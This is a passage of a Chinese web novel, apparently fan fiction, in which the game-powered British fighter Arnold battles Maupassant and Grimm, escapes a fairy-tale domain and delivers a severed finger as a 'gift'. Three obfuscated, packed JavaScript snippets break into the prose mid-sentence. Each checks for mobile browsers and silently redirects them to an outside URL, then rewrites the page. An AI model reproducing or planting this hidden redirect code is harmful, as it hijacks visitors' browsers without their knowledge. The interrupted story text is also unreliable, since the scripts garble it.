在战争爆发前夕,英国有名有姓的超越者聚在一起开了个party,觥筹交错之间,奥斯卡·王尔德喝醉了酒,竟然提起了阿诺德这个瘟神,并坚决表示,有阿诺德的地方,他就是死了也不会来。其他人也附和,甚至有人发誓,宁愿被几个法国佬围攻打死也不愿意与阿诺德一同出战,在群情激奋之下,这个上层异能者才有资格参加的聚会成功变成了诉苦大会,众人纷纷诉说起阿诺德此人的缺德行径,一把鼻涕一把泪,直接泪洒伦敦。 柯南·道尔也参与了这个party,嘴角抽搐地看着阿加莎脸颊升起绯红,醉醺醺地趴在桌上痛骂搭档阿诺德的懒惰与无耻。超越者们有了共同的敌人阿诺德,经此一聚关系突飞猛进,女王对此十分欣慰,把行事稳重的柯南·道尔叫到宫里,“大家联名上书,推荐阿诺德留在伦敦驻守,这……” 柯南·道尔心道机会来了,于是语气平淡,仿佛不夹杂任何个人偏见说道,“既然都不乐意与阿诺德(这个臭小鬼)共事,让他留在伦敦也挺好的。” 女王若有所思点了点头,“确实,这样你们作战时也没有后顾之忧了,伦敦会很安全。”乍一听很有道理,所以阿诺德的留守儿童定位就这么敲定了。 各种数据综合起来,最适合远赴北方支援的人选绝对不是阿诺德,而是莎士比亚。 “莎士比亚被拖在了南方战区,”柯南·道尔严肃道,“德国终于使出了他们藏匿已久的超越者——歌德,歌德的异能是生成特殊领域,不具有太大的杀伤力,却可以极大程度地延缓莎士比亚他们的脚步,半个月之内,他们不可能抵达这里,唯一有空的只有你。” 柯南·道尔的手在沙盘上点了点,“我们现在所处位置,是不能后退的底线,若是我们被打败了,后面由无异能士兵构成的防线就等同于不存在,敌人将会长驱直入,造成很大的威胁。” 阿诺德有种在上课的感觉,打了个哈欠,“然后呢?” 柯南·道尔隐约有点心累,打消了讲解防守布局的想法,手指在三个点位点了几下,直截了当,“这三处要塞肯定有人进攻,拦住他们,若是有机会,那就直接杀掉,不用留手。” 阿诺德恍然大悟,“那我为什么不半夜潜入对方基地,悄悄把他们做掉呢?” 柯南·道尔:“……”你以为是打游戏吗?哪里是这么好潜入的! . 柯南·道尔毫不犹豫地否决了阿诺德的提议,理由是风险太大而且不靠谱。 阿诺德则认为柯南·道尔在给自己穿小鞋,发出了严厉的指控,“这可不是绅士该做的事!” 柯南·道尔“呵”了一声,不为所动,“你先把我的手稿还回来再说。” 阿诺德的回答是不可能。他做了个鬼脸,往门外一闪,一溜烟就跑了。 柯南·道尔靠在符合人体力学的办公椅上,不知为何感到一阵心累,他今年不过四十余岁,恍惚间却有种过早当了爷爷的疲惫之感。如果阿诺德真是他孙子,那一定是世界上最不省心的小辈。 柯南·道尔按了按太阳穴,以他的耳力可以听到塔楼底下不同于平时的吵吵嚷嚷,想来是阿诺德引起的骚动,顿时更加头痛了。 谁家的臭小子,赶紧领走! . 次日,阿诺德换了身衣服,他本来不想换,不过看在柯南·道尔违背本心地收回了对他衣服“麻袋”的评价的份上,还是勉为其难地答应了。 柯南·道尔作为一个老烟枪,口袋里随时随地放着一个烟嘴,看着阿诺德用烟斗装模作样,发出嘲笑,“小鬼还学大人抽烟。” 阿诺德这回倒是没有反驳,不知想起了什么,眼神在柯南·道尔一看就正经的脸上游移,美少年精致的五官缓缓浮现一个邪恶的表情,怎么看怎么不怀好意。饱经折磨的柯南·道尔面上无动于衷,实际上已经把手杖和烟嘴都藏好了,他就不信了,藏这么严实,阿诺德就是长了狗鼻子也不见得能找出来,上次的手稿被发现只是运气好罢了。 柯南·道尔暗自提心吊胆几天,见阿诺德没有动作才松了口气,敌方也暂时按兵不动,应该也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345420|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是得到了阿诺德这个外界所知甚少的超越者驰援的情报。 但他不知道的是,阿诺德早已经把他偷偷写的见不得人的手稿寄给了伦敦最大的出版社,不久后将以柯南·道尔的笔名发表,所以才这么反常。敬仰这位大作家的人们跑去瞻仰柯南·道尔的最新著作,却发现是一本低俗的、不符合自诩贵族阶层的大多数人审美的狗血小说,集体风中凌乱的场面一定很好玩。 柯南·道尔打了个喷嚏,谁在说他坏话? 秉承着敌不动我不动的想法,柯南·道尔并未主动袭击敌军,拖时间对他们来说并不亏,毕竟他们的任务只是驻守而非攻占。 等到第四天,敌方终于按耐不住了,以一支精锐的异能小队的进攻为冲锋号角,发起了迅猛的攻势,但是由于顶尖战力有了新的变动,这次的交锋对比起上次的偏防守,显得平分秋色。 按照柯南·道尔所嘱咐的,阿诺德就在那三处要塞的空中抱着胳膊看着下方如同蚂蚁的黑点打架,从高空看去,真实的战场与柯南·道尔作战室内模拟战斗的沙盘没什么两样,即使有几个黑点摇摇晃晃地倒下了,还有更多黑点义无反顾地冲上去,阿诺德站的太高,连子弹溅出的鲜血都看不明晰。 超越者是不会参与士兵的战斗的,因为只要有一方的超越者进入战局,另一方也不得不加入混战,混乱的局面会夺走成千上万普通士兵的生命,这样造成的无谓牺牲太大,所以欧洲的惯例是让超越者对上超越者,来一场同等级的决斗。 阿诺德百无聊赖地等着敌方的超越者过来,柯南大叔那边已经发来了消息,告诉他,自己那边只有一名超越者,另外两名很有可能在围杀阿诺德的路上,让他小心应对。 很快,他就看到远处出现了两个黑点,从两个方向朝他飞速靠近,袭击意图明显。 【警告,警告!】系统发出急促的警报声。 【突发事件:来自超越者的围攻(SS级危机事件)】 【A.避战】 【B.应战】 B选项被系统标红了,血淋淋的,看得出来真的很不建议选这个一看就很危险的选项。 阿诺德挑了挑眉,选了应战,点了好几下选项才渐渐消失,此时,一个其貌不扬的男人毫无存在感地漂浮在空中,身份昭然若揭。而与之同行的另一个男人气质截然不同,一举一动皆带着浪漫开放的法国风情,刚一见面,殷红的薄唇一嘟就对着阿诺德做了个飞吻的动作,还眨了眨眼,送来一个wink。 阿诺德毫无模仿痕迹地回了个飞吻,鎏金色的眼眸微微弯起,柔软无害的笑容看起来不像个上战场的超越者,更像是在舞台上光芒四射的偶像明星。 如果他真的改行当偶像,会有无数男孩女孩为他尖叫落泪的。率先挑逗的男人第一反应是这个。 真可惜,如果他真的只是个明星就好了,莫泊桑遗憾地想,任何一个前任单论容貌都远远不及眼前这位栗色卷发的少年。 “异能力——”来自丹麦的临时同伴面无表情,警告意味明显地看了一眼莫泊桑,“【格林童话】!” 好吧,那就没办法了,莫泊桑最后看了一眼对面的英国超越者如上帝亲笔雕刻般的惊人美貌,稍晚一步发动了异能。 一瞬间,地动山摇。 5. chapter5 貌不惊人的男人用丹麦语说出异能名的那一刻,阿诺德就知道了对方的身份——丹麦的超越者,格林。 “我是莫泊桑,”来自法国的青年超越者意气风流,开打之前还不忘向初次见面的对手礼节性地自我介绍,“也许你曾经听说过我。” 阿诺德歪头,“他们都叫我阿诺德。” 大地颤抖地预示着即将到来的风暴,地面交战的士兵们大喊着,“撤退!” . 莫泊桑没有率先动手的意思,似乎等待着什么,很快,阿诺德就感觉到了明显的能量波动,下一秒,三个人就出现在了一个奇特的空间,仿佛彻底与外界隔离开来,交战的士兵和火炮都离他而去,两个不同国家的超越者前后夹击,将他暂时围困在这方寸之地。 这就是【格林童话】的效果吗?制造一个特殊的密闭空间,逼迫对手正面应战?阿诺德并不完全确定。 超越者的保密权限总是很高的,再加上比起英法这种经常发生争端的国家,丹麦立场偏向于中立,较少参加争斗,所以作为丹麦仅有的超越者之一的格林,有关其的情报就算是阿诺德也不完全清楚。 【格林童话】听起来不是什么战斗力很强的异能,儿童风的童话气息也与格林这个气质稍显阴鹜的男人气场不合,阿诺德记得格林的全名好像是雅各布·威廉·格林。阿诺德一边应付着格林的拳脚攻势,一边心想。 略一出神,阿诺德稍微侧过头,躲开莫泊桑出其不意的肘击,后者惊奇地“诶”了一声,似乎惊奇于阿诺德肌肉记忆般的超快反应力。 莫泊桑以为阿诺德在避让,于是身位更向前。回过神来的阿诺德轻巧地避开几下攻击,莫泊桑脸上略带惊讶的神色很快褪去了,浮现几分凝重。 莫泊桑意识到自己冒进了,正想后退,但是还没来得及退开就被栗色卷发的少年擒住了手腕,力气大得惊人,即使莫泊桑有着远超寻常异能者的体术,一时之间也难以挣脱。原本带着几分轻佻的眼神彻底消失了,意识到阿诺德的难缠之后,莫泊桑果断换成了求稳的打法,不再主动出击。 这个英国佬的体术是怪物级别的,招数没有一点别人的影子,全都是难以捉摸的野路子,看似全是空档,实则只有跟阿诺德交手的莫泊桑知道很难招架,在此之前,莫泊桑从来不知道自己原来可以在肉搏切磋中这么狼狈。 莫泊桑有节奏地呼吸,以更好地节约体力。对手的速与力都是顶尖级别的,带来的压迫感几乎和教导他体术的福楼拜先生差不多——不,福楼拜老师只是想教导他,而阿诺德出手就是冲着命门去,没有一丝一毫放水,给莫泊桑的感觉唯有汗毛倒竖能够形容。 莫泊桑瞳孔一缩,凛冽掌风迎面而来,他刚刚勉强抵挡住掏心攻击,后背就感受到一股毛骨悚然的凉意,骨骼几乎产生了咯吱的扭动声,才将成年人偏硬的腰身扭曲成一个反常识的恐怖弧度,避免了脊椎被打断的惨剧。 阿诺德眼中有暗光闪过。一招不成,也可以为下一招作铺垫,没有成功打断脊椎,那就正好攻击对方因闪避而暴露出的致命空门! 躲不开……!莫泊桑警铃大作,关键时刻,格林不知从哪里冒出来拉了莫泊桑一把,阿诺德的拳风只蹭下额头的一层皮肤。 阿诺德有些可惜地舔了一下指节上沾着的鲜血,差一点点,对方的脑袋就像西瓜一样爆开了。 阿诺德点满了力量与速度,他的体能已经达到了本世界人类肉.体强度的临界点,虽然莫泊桑的异能阈值达到了超越者的标准,体术却相对青涩,阿诺德轻易就可以把他耍的团团转,两人的战斗看上去不像严肃的决斗,而像是高高在上的戏耍了。 如果只有蛮力,可以用敏捷慢慢周旋;如果只有速度,也可以力破万法。但若是两样兼具,根本无解。 莫泊桑节节败退,也被激起了火气,好几次差点被阿诺德措不及防的扫堂腿踢碎膝盖,也只是优先用异能防御,而非开展一场异能力之间的战斗。 他看着阿诺德还带着些婴儿肥的脸颊,目光聚焦在对方身上,咬了咬牙,不得不承认,年龄相仿的他们在体术上有极大的差距——如果是他的老师福楼拜在这里,或许还能与对方一较高下,莫泊桑本身就是初出茅庐的新生代超越者,面对阿诺德这种级别的开挂选手,吃力才是正常的。 阿诺德很久没有和活人交手过了,自从上次不小心一拳打碎了某人的头骨、搞得脑浆四溅之后,再也没人愿意和他练手了,生怕他刹不住车把人送走了。 柯南·道尔告诉他,不用留手,有机会就杀掉。 转眼间,阿诺德鬼魅般的身形已然闪至莫泊桑的背后,莫泊桑被针扎般的冲天杀气激得浑身紧绷,零点几秒的时间不够他催动异能反攻,只能下意识将异能集中于后背,保护内脏不破碎,再寻找拉开身位的机会。 察觉到不能直接打破要害处的防御,阿诺德就改变了招式,原本成爪状的手半点凝滞也无地流畅撤回,他将重心转至小腿,以迅雷不及掩耳之势调动大部分力量往莫泊桑的右腿骨踹去。 假如这一下扫堂腿中了,就会彻底丧失行动能力,这在同等级超越者的决斗中是致命的。 莫泊桑忽然出了一身冷汗,生死关头的本能使他对异能的掌控力达到了空前的高度,在阿诺德蕴含恐怖力量的小腿扫过来之前的0.5秒,关键的异能调动使莫泊桑的腿骨得到了一些缓冲,不至于当场失去右腿。 “咔嚓——”骨骼断裂的清脆声响。 莫泊桑顾不得右腿的剧痛,尽可能拉远距离恢复体力,几乎有些力竭了,呼吸急促,沉浸在刚才的惊险当中,肾上腺素已经支配了莫泊桑的身体,他的心跳在胸腔里飞快地跳动着,眼瞳中映照的纤瘦人影也越发清晰,那张惊鸿一瞥的面孔仿佛变成了催命符,鎏金色瞳孔里都是视人命如草芥的无心无情。 莫泊桑恍惚间有些怔然,看着那张漠然笑着的染血面容,心脏仿佛被什么东西重重敲击了一下,他分不清是什么感受,极度的疼痛与刺激交织之下,心率不知不觉中突破了两百。 即使下此狠手,自称“阿诺德”的少年依旧笑嘻嘻的,他当然知晓自己下的重手会导致对方右腿如爆炸般血肉横飞的惨烈结果,但是这不是他需要关心的事情。 他只需要按照柯南大叔说的,把他们拦在这里就可以了,只要莫泊桑动弹不了,那他自然不可能越过北方防线、深入英国腹地了。 莫泊桑已经断了一条腿,血肉模糊的创口从受力的中心延伸,浓郁的血腥味充斥着封闭的空间,身为临时同伴的格林为其提供了一定掩护作用,阿诺德不至于趁其病要其命,毫无阻碍地杀死状态不佳的莫泊桑。 前期莫泊桑承担了大部分压力,所以格林此时顶多是看到同伴伤重脸色糟糕了些许,不至于像直面怪物的莫泊桑那样伤痕累累,就连光彩照人的脸上都挂了彩。 格林在心里默数着,10,9,8…… 阿诺德不是什么讲武德的好人,既然打伤了莫泊桑,当然要乘胜追击,为战斗提供更多优势。但是格林之前省着力,现在又拼尽全力地拦着阿诺德,不让他碰到重伤的莫泊桑分毫,必须干掉他才能杀死莫泊桑。 阿诺德眼神一凛,又找到了格林防守中的漏洞,当即以手作劈,空气中甚至隐隐传来凌厉的掌风。他手重得很,一掌下去,格林自然没什么好果子吃。 “啊!”格林的眼眸更阴沉了,被劈中的左手腕骨骼尽碎,只有一层皮肉连接着手臂和手掌,软绵绵地使不上力,细细密密的痛从骨髓深处蔓延。 阿诺德歪了歪头,察觉到一丝怪异。他暂缓了进攻的节奏,鎏金色泽的眼眸眯了眯,目光在单膝跪地着缓解疼痛的莫泊桑和气质阴冷、直勾勾盯着他的格林身上游移,仿佛在思考着什么。 怎么总感觉……他们竭力与他对战,为的却不是获胜呢。都是异能者中的佼佼者,格林难道没发现,负隅顽抗只会招致惨败么?就目前而言,格林和莫泊桑两个人加起来也不是他的对手。 还有一个疑点……莫泊桑刚刚差点被他八成力道的扫腿踢成终身残废,下意识选择防守的样子也不符合常理。阿诺德的手上沾过很多人的血,他清楚在自己故意而为之的杀气下,很少有人能忍住不使出全力,但是莫泊桑表现出的实力与其超越者的评级不符,法国最受期待的新生超越者之一,拼尽全力也仅仅只是这样么? 阿诺德直觉不是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345421|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根据刚才的一番交手,他可以肯定莫泊桑没有尽全力……比起相信一个人可以在死亡的阴影下忍住不使出全力,他更愿意相信,这个人不是不想,而是不能全力以赴。 堂堂超越者的异能难道只能用来防守?显然不可能。 阿诺德若有所思地垂眸看了一眼自己的手心,尝试将异能凝聚成形,但是失败了。 方才都是体术间的对决,导致阿诺德现在才注意到不对劲的地方。 平时一经驱动便迫不及待为他效力的异能此刻毫无动静,集中精神也只能调动一丝能量,覆盖有限的皮肤。 结论已经摆在眼前了:被拉入异空间的人,异能会被压制。这就可以完美地解释,莫泊桑为什么如此束手束脚,单纯只使用处于劣势的体术。 他们一直在拖延时间,为的不是靠拖延正面打败阿诺德,而是在拖出大招的施法前摇。 “4,3,2,1……”格林的眼中迸发出诡异的精光。 阿诺德猛的往后退了一步,用力在无形的壁障上破开一个豁口,想要离开这一处空间,而格林则露出一个阴恻恻的诡笑,一把拽起失血过多而脸色惨白如纸的莫泊桑,从空间自然裂开的缝隙中退出。 而此时此刻,阿诺德的眼前天旋地转,过了一会儿,他凭空出现在了一座古典城堡里,栗色卷发柔软地披散在肩膀上,一缕风吹过,让他冷得一哆嗦,这才注意到自己光裸着的肩膀和紧紧箍着腰部的束腰,由于裙子的重量,每走一步都很费劲,系统加强的体质不翼而飞,留下的只有一具羸弱的娇贵身体。 【亲爱的客人,欢迎来到格林童话之‘白雪公主’。】路边的木牌指示道。 阿诺德粗暴地拽下沉重的裙撑,一脚踢飞了红色的高跟鞋,一脚踹开笼子似的门,沿着鹅卵石铺就的路上奔跑,直到被全副武装的士兵拦住,看不清脸的守卫们如一堵城墙,堵住了出去的路。 守卫们就像是设计好的机器,无论阿诺德问什么,他们都重复着一句话:“白雪公主殿下,王后不允许您出去。”每问一次,它们的声音就越浑厚,像是被什么堵住了嗓子,阿诺德甚至隐约看见了盔甲间浓密、如野猪鬃毛般坚硬的黑色体毛,如同一头头异化的野兽。 守卫异化程度逐渐加深的过程中,四面八方的侍女也渐渐围拢过来,刻板冷漠的脸是一个模子里刻出来的惊悚,占据眼珠大部分区域的眼白是灰色的,和过小的尖锐瞳仁组合起来,如同啪嗒、啪嗒用脚蹼爬过来的人形青蛙。阿诺德环顾四周,密密麻麻的人形怪占领了附近的绝大部分空间,以“白雪公主”的体力,不可能逃掉。 阿诺德不辨喜怒地呼出系统,只见不知为何变得有些灰暗的系统面板上,力量和速度的数值都变成了低的可怜的9,比大多数人还要孱弱,现在的他简直是个手无缚鸡之力的病秧子。 他大概明白了,格林和莫泊桑竭尽全力将他拖住,只是为了满足【格林童话】的发动前摇,在领域内待满一分钟左右的时间,就可以将一名超越者强行重置为故事中人物应该有的身体素质,而且【格林童话】生成的故事,似乎也不像名称那样简单,看看这些如巨人般高大的怪人守卫就知道了,说不定阿诺德再问几句,它们就会异化成具有攻击性的怪物。 就像一个危机四伏的游戏,他的初始身份是“白雪公主”,基础数值低到令人发指,很难用这具瘦弱的身体做到什么事情。格林费尽心思将他拖入童话世界,目的肯定不是让他过个当公主的瘾,而是要借故事世界的规则将他这个敌对的超越者扼杀在此处。 作为“白雪公主”的他用不出异能,而且身体没有多少力气,距离最近的青蛙侍女已经朝着他伸出黏腻腻的带着蹼的手,阿诺德并不想知道被它们触碰到会有什么后果。 看似是避无可避的死局,但是阿诺德还有一个底牌。 系统毫无感情的机械音响起,【尊敬的玩家,请问您需要以降低生命值上限为代价,进行定点传送吗?】 【是\否】 【请输入降临坐标:________】 阿诺德冷笑:没想到吧,我可是氪金玩家! 区区NPC也敢阴我!等我回去就把你们打成肉泥! 6. chapter6 【提示:您的生命值上限已降至75↓。】 【是否查看当前属性面板?】 【是/否】 【姓名:阿诺德(是否更改?是/否)】 …… …… 【生命值:75/75(↓)】 阿诺德用力扯了一下有些打结的一头卷毛,试图让头发服帖一点,“生命值上限很重要吗?” 【这取决于玩家使用生命值上限换取额外功能的次数。】 “假如无节制的使用,会死吗?”阿诺德直截了当问道。 【不会。玩家的生命值上限最低为1,当生命值低于等于0时,玩家才会进入死亡状态。】系统否认道。尽管不至于因此死掉,但是这个血线很危险,容易触发死亡结局。 阿诺德“哦”了一声。他平时战斗几乎不怎么掉血,受伤这种事对他来说很少见。 他食指弯曲抵着下巴思考,所谓的降低生命值上限,也只是变得脆皮一点吧。他本就高攻低防,因为系统唯独不能将点数增加到防御上,阿诺德就算做任务得到了点数,也只能加在目前还未满值的智力和魅力上了。至于低的可怜的人缘属性,阿诺德并不在意。 他们看不惯他,却也杀不死他。阿诺德认为人缘这个属性无用至极,如果换成防御那该有多好?他还有很多点数没用呢。 从格林生成的异能世界逃脱之后,阿诺德在【格林童话】作用下变长的栗色卷发没有恢复原样,身上蕾丝花边的裙子也还是穿在他身上,最先抵达战后战场的英国战地记者目瞪口呆地看着他,不理解这个仿佛从宫廷油画里走出来的美貌少女是从哪儿窜出来的。 阿诺德瞥了记者一眼,零帧起手问道,“现在是什么时间了?” 记者下意识回答了他。 很好,阿诺德有些恼火地想,看来童话世界和现实世界的时间流速并不一致,因为此时距离莫泊桑和格林离开已经有十多分钟了,他失联的这段时间,柯南大叔应该知道他掉链子的事情了。 简直是奇耻大辱!这是阿诺德有生以来的头一次碰壁,尽管有他自己轻敌的缘故,还是不能轻易释怀——这可是阿加莎亲口拜托他的事情,要是铩羽而归的话…… 那也太丢人了! 阿诺德不爽地想。 . 另一边,莫泊桑刚刚止住了血,狰狞的伤口被白色的纱布包扎起来,整条右腿包得像木乃伊,脸色惨白如纸,还在昏迷当中。 看着视若亲子的莫泊桑失去意识地躺在病床上,福楼拜脸色并不好看,直接挂断了巴黎打来的慰问电话,对下达命令的上级产生了不满。 要不是上级勒令莫泊桑配合格林将那个小英国佬拖拽入【格林童话】的世界,导致莫泊桑在【格林童话】规则的约束下无法用异能保护自己……福楼拜眼神一冷,他引以为傲的徒弟伤痕累累,如果没有足够强力的治愈系异能者帮忙,以莫泊桑的伤势八成会落下一辈子腿脚不便的毛病。 前线最优秀的医者已经为莫泊桑进行过初步治疗了,仪器最开始给出的诊断是,莫泊桑的右腿受到了近乎毁灭性的打击,说是粉碎性骨折也不为过,支撑皮肉的骨骼已经碎得不能更碎了,稍微挪动就是钻心的疼痛,下此狠手的人不作他想,就是声名不显的英籍超越者阿诺德。 福楼拜此前没听说过那个前来支援的小英国佬体术究竟如何,但是看莫泊桑的惨状就知道对方的体术恐怕足以碾压尚且稚嫩的莫泊桑。 格林将莫泊桑背回来之后,自己也面色青白地找医者止血去了,以福楼拜的眼力注意到了格林同样伤得不轻。 作为知情人,福楼拜很清楚【格林童话】有一分钟的发动前摇,莫泊桑、格林与阿诺德交手的时间满打满算就只有60秒,那个小英国佬难道真是钟塔侍从隐藏的杀手锏?如果真是这样,那就不奇怪对方具有如此惊人的实力了。 仅仅只是拖住一分钟,就让体术不差的莫泊桑伤到这种程度,楼拜神色凝重,希望【格林童话】真的像丹麦那边说的那么可靠,能够彻底困死一位超标的超越者吧。 不知为何,福楼拜注视着那个有着一头栗色卷发少年灿烂笑着比“耶”的证件照时,心底隐约升起一种事态超出预料的感觉。 到了他们这种级别,直觉都很准。 很快,冥冥之中感受到的意外发生了。 “福楼拜先生,我们在格林先生的房间里发现了一根断指!”听到士兵的汇报,坐在莫泊桑床边沉吟的福楼拜猛然回头。 福楼拜急匆匆赶到格林的房间,里面空无一人,暗红的香木桌面上放置着一截血迹斑斑的手指,断面处还未完全干涸的血迹流到底下压着的纸条上,福楼拜拿起纸条一看,眉心狠狠跳了跳。 【GUESS WHO I AM.(猜猜我是谁。)】 纸条上只有一句话,字迹歪斜,每个字母都分隔得很开,跟鬼画符差不多。 目的也许只是单纯的嘲笑他们空虚的防守,让敌人如入无人之境。 罪魁祸首悄无声息地潜入了他们的核心驻地,不知用什么方法制服了格林,而且一个人都没有惊动!就连最先发现的士兵,也是注意到格林房间门反常地半开着,才意外发现了血腥的罪证。很显然,对方是故意留下证据,又处心积虑让某个士兵将事情告知福楼拜。 福楼拜心中不详的预感成真了,那个未曾谋面栗发少年根本没有被所谓无解的【格林童话】斩于马下,相反,对方不但活着回来了,还充满炫耀和报复性质地将格林抓走了,所作所为无不显示着对方的胸有成竹和肆无忌惮。 居然这么自信可以全身而退么? 福楼拜不是容易受激的人,遇到这种奇葩情况也只是先思而后动。他瞳孔一缩,忽然想起了重伤卧床的莫泊桑,他马上给远在巴黎的波德莱尔打了个跨过电话,希望赶紧将莫泊桑送回首都。这里的不安定因素太多了,福楼拜不仅需要应付柯南·道尔这个老对手,还有防范着那个暗中潜伏的小英国佬。一心二用,他无法再分出精力保护昏迷不醒的莫泊桑。 . 两军冲突戛然而止,随着福楼拜的率先撤退,柯南·道尔也回到了督战塔楼,一进入办公室就将划破几个口子的外套放在办公室门口的置物架上,这位一贯讲究的绅士没有擦掉脸上不小心沾上的硝烟,只是专注地盯着显示失联状态的军用通讯器,许久才移开目光。 这次冲突的爆发以及持续时间非常短暂,大约只有半个小时,敌方就意味深长地鸣金收兵。这是敌军酝酿几日的进攻,柯南·道尔了解福楼拜,清楚对方的秉性,这个老奸巨猾的法国佬的行事风格可不包括无功而返。 所以柯南·道尔尽管信任阿诺德的战斗力,还是没办法完全放下心。战场上总是瞬息万变,阿诺德在正面战斗中从无敌手,不代表以对方的心性不会掉入敌人的陷阱。 失联长达十分钟之后,柯南·道尔心情沉重地确认,阿诺德出事了。 超越者是国家的珍宝,就算阿诺德性格糟糕透顶,整天以欺压他人为乐,说到底也是自家人,甚至还是钟塔侍从唯二的近卫骑士长之一,女王曾亲自为阿诺德授爵,充分表达了重视。在彻底确定阿诺德的死讯之前,柯南·道尔绝无放弃对方的可能,因此要立刻向伦敦请求援助,或许还有救回对方的可能。 柯南·道尔用绝密通道朝伦敦发送了一份电报,“……请将莎士比亚阁下尽快调来北方战线,丹麦与法国结盟,二者联手使阿诺德身陷囹圄,战事或有愈演愈烈的趋势。” 他如实写下阿诺德的失踪,眉头紧锁,心态并不乐观。因为若是真的损失了一位国宝级超越者,英国必定会与法、丹麦不死不休,也就是要死磕到底。 在如今异能为王的时代,超越者无疑是立国之本,一个没有超越者守护的国家就是他国眼中可随意侵犯的弱国,所以每一名超越者都具有相当重大的意义,柯南·道尔虽然不待见阿诺德这个讨人嫌的小鬼,却并不否认当他得知阿诺德遇害的可能时,心中涌起的怒意和决断。 是时候给这帮行事阴损的法国佬一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345422|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜色看看了! 正当柯南·道尔怒气逐渐上涨时,耳边传来的清脆响声打断了酝酿。 ……咔嚓。 柯南·道尔敏锐地捕捉到声响,视线注视着窗边新装好的钢化玻璃——多亏了尽职尽责的后勤部队,他们的勤劳使柯南·道尔处理事务时不至于被灌注进来的风打乱思路。 一声玻璃碎裂的巨响毫无预兆地进入柯南·道尔的耳朵,脆弱的耳膜还是受到了极大的伤害,柯南·道尔低低骂了一句,警惕的眼神扶着落地窗往下看。 他隐隐有种奇特的感觉。 “我回来了!柯南大叔!”一张熟悉的脸蛋突然出现在柯南·道尔的视野里,不知为何长发及腰的阿诺德摇摇晃晃地挂在窗户边上,仰着头冲柯南·道尔大喊。 “……”柯南·道尔似乎看到了荡来荡去的猴子,锐利的眼神一滞。 ?? “你从哪窜出来的?”柯南·道尔听到了自己隐晦颤抖的嗓音。 “我刚刚躲在空调外机下面!”阿诺德不以为耻,“本来想吓柯南大叔一跳,结果忍不住出来了——这玩意儿下面都是灰!” “……”柯南·道尔忍住了吐槽的冲动,眼神带了些无奈。 别的暂且不提,阿诺德身上穿的是什么东西?柯南·道尔的目光在阿诺德经常挂着笑的脸上徘徊,又转移到对方身上华丽精致的裙装,白皙的肩裸露出来,抹胸款式的女式衣裳大片大片地袒露着少女(?)美好的胴体,若是忽略掉略显平坦的胸部和浅色裙摆上飞溅的斑斑点点血渍,看上去就如同一位真正的公主。 “……” 柯南·道尔十分镇定地擦了擦单片眼镜,第一反应是怀疑自己的眼睛。这位老绅士的表情有几分微不可见的停滞,见阿诺德努力地抓着窗边想要爬上来,泛起恼意的柯南·道尔(所有人都认为这是一位值得尊敬的老绅士)抡起手杖毫不留情地往阿诺德胳膊上一抽,后者吃痛地松开一边手臂,夸张地大叫起来,“你想谋害刚刚还在为国浴血奋战的钟塔侍从近卫骑士长吗,柯南·道尔先生?这可是众目睽睽之下!” 阿诺德肺活量很好,一连串话说下去气都不喘。 这臭小子,到底在搞什么?原本还在担心阿诺德安危的柯南·道尔被这无厘头的场景气笑了,“你就不能走正门?!” 索性这小子皮糙肉厚摔不死,赶紧给他赶下去,否则让士兵看到像什么样子? 阿诺德身形灵活,犹如一条滑不溜手的泥鳅,一下子就找到机会从柯南·道尔阻拦的空隙中一跃而入。 柯南·道尔有些头痛,气不打一处来,正要献祭最后一根手杖重击阿诺德的脑壳,阿诺德一边闪躲,一边文绉绉地喊道,“君子动口不动手!” 这话一出,深知阿诺德文盲程度的柯南·道尔无语一瞬,这又是从哪儿学来的? 管他的,先打一顿再说!柯南·道尔只要一想到底下有士兵看到了阿诺德女装,以及因此而生的后续麻烦,就眼前一黑。 “别急着动手嘛,我可是特意给柯南大叔准备了一个超级无敌特别的礼物诶!”阿诺德变脸似的换了副面孔,乍一看还有些委屈,若是不知情的人看了,还以为是柯南·道尔这个恪守死理的古板中年人欺负他呢。 “你先看看,先看完再决定要不要打我嘛~!”少年眼眸如月牙般弯起,隐含得意,似乎笃定了这个礼物符合柯南·道尔的心意。 柯南·道尔将信将疑地接过了装“礼物”的盒子,只听咔哒一声,盒子自动打开了,下一秒就被他亲手关上。令人不安的气味扑面而来,散发着浓郁的死亡气息。 “这是从哪弄来的?”柯南·道尔心中已经有了分晓,还是多问了一句。 而阿诺德咧嘴笑,眼神不带笑意,语气没什么起伏,只陈述事实道,“它来自一个烦人的npc。” 柯南·道尔在心中叹了口气,摇了摇头。他至此完全认可了心理分析师所总结的阿诺德的人格侧写。 说到做到,从不食言,有种浑然天成的残忍。 7. chapter7 